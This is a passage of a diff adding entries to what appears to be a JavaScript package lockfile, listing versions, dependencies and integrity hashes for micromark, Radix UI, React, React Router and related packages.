"sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A=="], + + "micromark-factory-destination": ["micromark-factory-destination@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA=="], + + "micromark-factory-label": ["micromark-factory-label@2.0.1", "", { "dependencies": { "devlop": "^1.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg=="], + + "micromark-factory-mdx-expression": ["micromark-factory-mdx-expression@2.0.3", "", { "dependencies": { "@types/estree": "^1.0.0", "devlop": "^1.0.0", "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-events-to-acorn": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "unist-util-position-from-estree": "^2.0.0", "vfile-message": "^4.0.0" } }, "sha512-kQnEtA3vzucU2BkrIa8/VaSAsP+EJ3CKOvhMuJgOEGg9KDC6OAY6nSnNDVRiVNRqj7Y4SlSzcStaH/5jge8JdQ=="], + + "micromark-factory-space": ["micromark-factory-space@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg=="], + + "micromark-factory-title": ["micromark-factory-title@2.0.1", "", { "dependencies": { "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw=="], + + "micromark-factory-whitespace": ["micromark-factory-whitespace@2.0.1", "", { "dependencies": { "micromark-factory-space": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ=="], + + "micromark-util-character": ["micromark-util-character@2.1.1", "", { "dependencies": { "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q=="], + + "micromark-util-chunked": ["micromark-util-chunked@2.0.1", "", { "dependencies": { "micromark-util-symbol": "^2.0.0" } }, "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA=="], + + "micromark-util-classify-character": ["micromark-util-classify-character@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q=="], + + "micromark-util-combine-extensions": ["micromark-util-combine-extensions@2.0.1", "", { "dependencies": { "micromark-util-chunked": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg=="], + + "micromark-util-decode-numeric-character-reference": ["micromark-util-decode-numeric-character-reference@2.0.2", "", { "dependencies": { "micromark-util-symbol": "^2.0.0" } }, "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw=="], + + "micromark-util-decode-string": ["micromark-util-decode-string@2.0.1", "", { "dependencies": { "decode-named-character-reference": "^1.0.0", "micromark-util-character": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-symbol": "^2.0.0" } }, "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ=="], + + "micromark-util-encode": ["micromark-util-encode@2.0.1", "", {}, "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw=="], + + "micromark-util-events-to-acorn": ["micromark-util-events-to-acorn@2.0.3", "", { "dependencies": { "@types/estree": "^1.0.0", "@types/unist": "^3.0.0", "devlop": "^1.0.0", "estree-util-visit": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "vfile-message": "^4.0.0" } }, "sha512-jmsiEIiZ1n7X1Rr5k8wVExBQCg5jy4UXVADItHmNk1zkwEVhBuIUKRu3fqv+hs4nxLISi2DQGlqIOGiFxgbfHg=="], + + "micromark-util-html-tag-name": ["micromark-util-html-tag-name@2.0.1", "", {}, "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA=="], + + "micromark-util-normalize-identifier": ["micromark-util-normalize-identifier@2.0.1", "", { "dependencies": { "micromark-util-symbol": "^2.0.0" } }, "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q=="], + + "micromark-util-resolve-all": ["micromark-util-resolve-all@2.0.1", "", { "dependencies": { "micromark-util-types": "^2.0.0" } }, "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg=="], + + "micromark-util-sanitize-uri": ["micromark-util-sanitize-uri@2.0.1", "", { "dependencies": { "micromark-util-character": "^2.0.0", "micromark-util-encode": "^2.0.0", "micromark-util-symbol": "^2.0.0" } }, "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ=="], + + "micromark-util-subtokenize": ["micromark-util-subtokenize@2.1.0", "", { "dependencies": { "devlop": "^1.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0" } }, "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA=="], + + "micromark-util-symbol": ["micromark-util-symbol@2.0.1", "", {}, "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q=="], + + "micromark-util-types": ["micromark-util-types@2.0.2", "", {}, "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA=="], + + "mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + + "mime-types": ["mime-types@2.1.18", "", { "dependencies": { "mime-db": "~1.33.0" } }, "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ=="], + + "mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], + + "minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="], + + "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], + + "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + + "motion": ["motion@12.23.25", "", { "dependencies": { "framer-motion": "^12.23.25", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Fk5Y1kcgxYiTYOUjmwfXQAP7tP+iGqw/on1UID9WEL/6KpzxPr9jY2169OsjgZvXJdpraKXy0orkjaCVIl5fgQ=="], + + "motion-dom": ["motion-dom@12.23.23", "", { "dependencies": { "motion-utils": "^12.23.6" } }, "sha512-n5yolOs0TQQBRUFImrRfs/+6X4p3Q4n1dUEqt/H58Vx7OW6RF+foWEgmTVDhIWJIMXOuNNL0apKH2S16en9eiA=="], + + "motion-utils": ["motion-utils@12.23.6", "", {}, "sha512-eAWoPgr4eFEOFfg2WjIsMoqJTW6Z8MTUCgn/GZ3VRpClWBdnbjryiA3ZSNLyxCTmCQx4RmYX6jX1iWHbenUPNQ=="], + + "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], + + "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], + + "negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], + + "next-themes": ["next-themes@0.4.6", "", { "peerDependencies": { "react": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc", "react-dom": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc" } }, "sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA=="], + + "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], + + "npm-run-path": ["npm-run-path@4.0.1", "", { "dependencies": { "path-key": "^3.0.0" } }, "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw=="], + + "npm-to-yarn": ["npm-to-yarn@3.0.1", "", {}, "sha512-tt6PvKu4WyzPwWUzy/hvPFqn+uwXO0K1ZHka8az3NnrhWJDmSqI8ncWq0fkL0k/lmmi5tAC11FXwXuh0rFbt1A=="], + + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + + "on-headers": ["on-headers@1.1.0", "", {}, "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A=="], + + "onetime": ["onetime@5.1.2", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="], + + "oniguruma-parser": ["oniguruma-parser@0.12.1", "", {}, "sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w=="], + + "oniguruma-to-es": ["oniguruma-to-es@4.3.4", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="], + + "p-map": ["p-map@7.0.4", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="], + + "package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="], + + "parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="], + + "parse-entities": ["parse-entities@4.0.2", "", { "dependencies": { "@types/unist": "^2.0.0", "character-entities-legacy": "^3.0.0", "character-reference-invalid": "^2.0.0", "decode-named-character-reference": "^1.0.0", "is-alphanumerical": "^2.0.0", "is-decimal": "^2.0.0", "is-hexadecimal": "^2.0.0" } }, "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw=="], + + "parse-json": ["parse-json@5.2.0", "", { "dependencies": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg=="], + + "path-is-inside": ["path-is-inside@1.0.2", "", {}, "sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w=="], + + "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="], + + "path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="], + + "path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="], + + "path-to-regexp": ["path-to-regexp@8.3.0", "", {}, "sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA=="], + + "path-type": ["path-type@4.0.0", "", {}, "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="], + + "pathe": ["pathe@1.1.2", "", {}, "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ=="], + + "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], + + "picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + + "pkg-types": ["pkg-types@2.3.0", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="], + + "postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="], + + "postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + + "prettier": ["prettier@3.7.4", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA=="], + + "prismjs": ["prismjs@1.30.0", "", {}, "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw=="], + + "prop-types": ["prop-types@15.8.1", "", { "dependencies": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", "react-is": "^16.13.1" } }, "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg=="], + + "property-expr": ["property-expr@2.0.6", "", {}, "sha512-SVtmxhRE/CGkn3eZY1T6pC8Nln6Fr/lu1mKSgRud0eC73whjGfoAogbn78LkD8aFL0zz3bAFerKSnOl7NlErBA=="], + + "property-information": ["property-information@7.1.0", "", {}, "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ=="], + + "punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], + + "radix-ui": ["radix-ui@1.4.3", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-accessible-icon": "1.1.7", "@radix-ui/react-accordion": "1.2.12", "@radix-ui/react-alert-dialog": "1.1.15", "@radix-ui/react-arrow": "1.1.7", "@radix-ui/react-aspect-ratio": "1.1.7", "@radix-ui/react-avatar": "1.1.10", "@radix-ui/react-checkbox": "1.3.3", "@radix-ui/react-collapsible": "1.1.12", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-context-menu": "2.2.16", "@radix-ui/react-dialog": "1.1.15", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-dropdown-menu": "2.1.16", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-form": "0.1.8", "@radix-ui/react-hover-card": "1.1.15", "@radix-ui/react-label": "2.1.7", "@radix-ui/react-menu": "2.1.16", "@radix-ui/react-menubar": "1.1.16", "@radix-ui/react-navigation-menu": "1.2.14", "@radix-ui/react-one-time-password-field": "0.1.8", "@radix-ui/react-password-toggle-field": "0.1.3", "@radix-ui/react-popover": "1.1.15", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-progress": "1.1.7", "@radix-ui/react-radio-group": "1.3.8", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-scroll-area": "1.2.10", "@radix-ui/react-select": "2.2.6", "@radix-ui/react-separator": "1.1.7", "@radix-ui/react-slider": "1.3.6", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-switch": "1.2.6", "@radix-ui/react-tabs": "1.1.13", "@radix-ui/react-toast": "1.2.15", "@radix-ui/react-toggle": "1.1.10", "@radix-ui/react-toggle-group": "1.1.11", "@radix-ui/react-toolbar": "1.1.11", "@radix-ui/react-tooltip": "1.2.8", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-escape-keydown": "1.1.1", "@radix-ui/react-use-is-hydrated": "0.1.0", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-size": "1.1.1", "@radix-ui/react-visually-hidden": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-aWizCQiyeAenIdUbqEpXgRA1ya65P13NKn/W8rWkcN0OPkRDxdBVLWnIEDsS2RpwCK2nobI7oMUSmexzTDyAmA=="], + + "range-parser": ["range-parser@1.2.0", "", {}, "sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A=="], + + "rc": ["rc@1.2.8", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="], + + "react": ["react@19.2.1", "", {}, "sha512-DGrYcCWK7tvYMnWh79yrPHt+vdx9tY+1gPZa7nJQtO/p8bLTDaHp4dzwEhQB7pZ4Xe3ok4XKuEPrVuc+wlpkmw=="], + + "react-copy-to-clipboard": ["react-copy-to-clipboard@5.1.0", "", { "dependencies": { "copy-to-clipboard": "^3.3.1", "prop-types": "^15.8.1" }, "peerDependencies": { "react": "^15.3.0 || 16 || 17 || 18" } }, "sha512-k61RsNgAayIJNoy9yDsYzDe/yAZAzEbEgcz3DZMhF686LEyukcE1hzurxe85JandPUG+yTfGVFzuEw3xt8WP/A=="], + + "react-d3-tree": ["react-d3-tree@3.6.6", "", { "dependencies": { "@bkrem/react-transition-group": "^1.3.5", "@types/d3-hierarchy": "^1.1.8", "clone": "^2.1.1", "d3-hierarchy": "^1.1.9", "d3-selection": "^3.0.0", "d3-shape": "^1.3.7", "d3-zoom": "^3.0.0", "dequal": "^2.0.2", "uuid": "^8.3.1" }, "peerDependencies": { "react": "16.x || 17.x || 18.x || 19.x", "react-dom": "16.x || 17.x || 18.x || 19.x" } }, "sha512-E9ByUdeqvlxLlF9BSL7KWQH3ikYHtHO+g1rAPcVgj6mu92tjRUCan2AWxoD4eTSzzAATf8BZtf+CXGSoSd6ioQ=="], + + "react-dom": ["react-dom@19.2.1", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.1" } }, "sha512-ibrK8llX2a4eOskq1mXKu/TGZj9qzomO+sNfO98M6d9zIPOEhlBkMkBUBLd1vgS0gQsLDBzA+8jJBVXDnfHmJg=="], + + "react-hook-form": ["react-hook-form@7.68.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-oNN3fjrZ/Xo40SWlHf1yCjlMK417JxoSJVUXQjGdvdRCU07NTFei1i1f8ApUAts+IVh14e4EdakeLEA+BEAs/Q=="], + + "react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="], + + "react-i18next": ["react-i18next@16.4.0", "", { "dependencies": { "@babel/runtime": "^7.27.6", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-bxVeBA8Ky2UeItNhF4JRxHCFIrpEJHGFG/mOAa4CR0JkqaDEYSLmlEgmC4Os63SBlZ+E5U0YyrNJOSVl2mtVqQ=="], + + "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], + + "react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="], + + "react-medium-image-zoom": ["react-medium-image-zoom@5.4.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-BsE+EnFVQzFIlyuuQrZ9iTwyKpKkqdFZV1ImEQN573QPqGrIUuNni7aF+sZwDcxlsuOMayCr6oO/PZR/yJnbRg=="], + + "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="], + + "react-remove-scroll": ["react-remove-scroll@2.7.2", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q=="], + + "react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" }, "optionalPeers": ["@types/react"] }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="], + + "react-router": ["react-router@7.10.0", "", { "dependencies": { "cookie": "^1.0.1", "set-cookie-parser": "^2.6.0" }, "peerDependencies": { "react": ">=18", "react-dom": ">=18" }, "optionalPeers": ["react-dom"] }, "sha512-FVyCOH4IZ0eDDRycODfUqoN8ZSR2LbTvtx6RPsBgzvJ8xAXlMZNCrOFpu+jb8QbtZnpAd/cEki2pwE848pNGxw=="], + + "react-router-devtools": ["react-router-devtools@6.0.0", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-event-client": "^0.3.4", "@tanstack/devtools-vite": "^0.3.11", "@tanstack/react-devtools": "^0.8.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } 